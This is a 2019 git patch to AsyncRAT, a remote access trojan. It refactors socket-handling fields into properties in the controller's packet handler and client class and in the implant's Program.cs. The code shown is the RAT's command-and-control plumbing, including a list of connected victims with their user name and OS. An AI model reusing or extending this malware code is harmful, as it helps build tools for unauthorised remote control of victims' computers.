From 3483c7644fd5c51669d3c55376bd927becbc09d5 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Thu, 24 Jan 2019 09:09:52 -0800 Subject: [PATCH] update --- .../Handle Packet/HandlePacket.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 45 +++++++++---------- AsyncRAT-C#/Client/Program.cs | 12 ++--- 3 files changed, 29 insertions(+), 30 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index cf3ea0d..bebf025 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -23,7 +23,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { client.LV = new ListViewItem(); client.LV.Tag = client; - client.LV.Text = string.Concat(client.client.RemoteEndPoint.ToString()); + client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString()); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); Program.form1.listView1.Items.Insert(0, client.LV); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 9e0d7d4..96369c2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -11,43 +11,42 @@ namespace AsyncRAT_Sharp.Sockets { class Clients { - public Socket client; - public byte[] Buffer; - public long Buffersize; - public bool BufferRecevied; - public MemoryStream MS; - public ListViewItem LV; + public Socket Client { get; set; } + public byte[] Buffer { get; set; } + public long Buffersize { get; set; } + public bool BufferRecevied { get; set; } + public MemoryStream MS { get; set; } + public ListViewItem LV { get; set; } public event ReadEventHandler Read; public delegate void ReadEventHandler(Clients client, byte[] data); public void InitializeClient(Socket CLIENT) { - client = CLIENT; - client.ReceiveBufferSize = 50 * 1024; - client.SendBufferSize = 50 * 1024; - client.ReceiveTimeout = -1; - client.SendTimeout = -1; + Client = CLIENT; + Client.ReceiveBufferSize = 50 * 1024; + Client.SendBufferSize = 50 * 1024; + Client.ReceiveTimeout = -1; + Client.SendTimeout = -1; Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; MS = new MemoryStream(); LV = null; Read += HandlePacket.Read; - client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); - + Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } public async void ReadClientData(IAsyncResult ar) { try { - if (!client.Connected) + if (!Client.Connected) { Disconnected(); } else { - int Recevied = client.EndReceive(ar); + int Recevied = Client.EndReceive(ar); if (Recevied > 0) { if (BufferRecevied == false) @@ -76,12 +75,12 @@ namespace AsyncRAT_Sharp.Sockets Read?.BeginInvoke(this, MS.ToArray(), null, null); Buffer = new byte[1]; Buffersize = 0; - BufferRecevied = false; MS.Dispose(); MS = new MemoryStream(); + BufferRecevied = false; } } - client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); + Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } else { @@ -107,15 +106,15 @@ namespace AsyncRAT_Sharp.Sockets try { MS.Dispose(); - client.Close(); - client.Dispose(); + Client.Close(); + Client.Dispose(); } catch { } } public async void BeginSend(byte[] Msgs) { - if (client.Connected) + if (Client.Connected) { try { @@ -126,8 +125,8 @@ namespace AsyncRAT_Sharp.Sockets await MS.WriteAsync(buffersize, 0, buffersize.Length); await MS.WriteAsync(buffer, 0, buffer.Length); - client.Poll(-1, SelectMode.SelectWrite); - client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null); + Client.Poll(-1, SelectMode.SelectWrite); + Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null); } } catch (Exception ex) @@ -142,7 +141,7 @@ namespace AsyncRAT_Sharp.Sockets { try { - client.EndSend(ar); + Client.EndSend(ar); } catch (Exception ex) { diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 25cb433..500e101 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -12,13 +12,13 @@ namespace Client { class Program { - public static Socket client; - public static byte[] Buffer; - public static long Buffersize; - public static bool BufferRecevied; - public static MemoryStream MS; + public static Socket client { get; set; } + public static byte[] Buffer { get; set; } + public static long Buffersize { get; set; } + public static bool BufferRecevied { get; set; } + public static MemoryStream MS { get; set; } - static void Main(string[] args) + static void Main(string[] args) { InitializeClient(); while (true)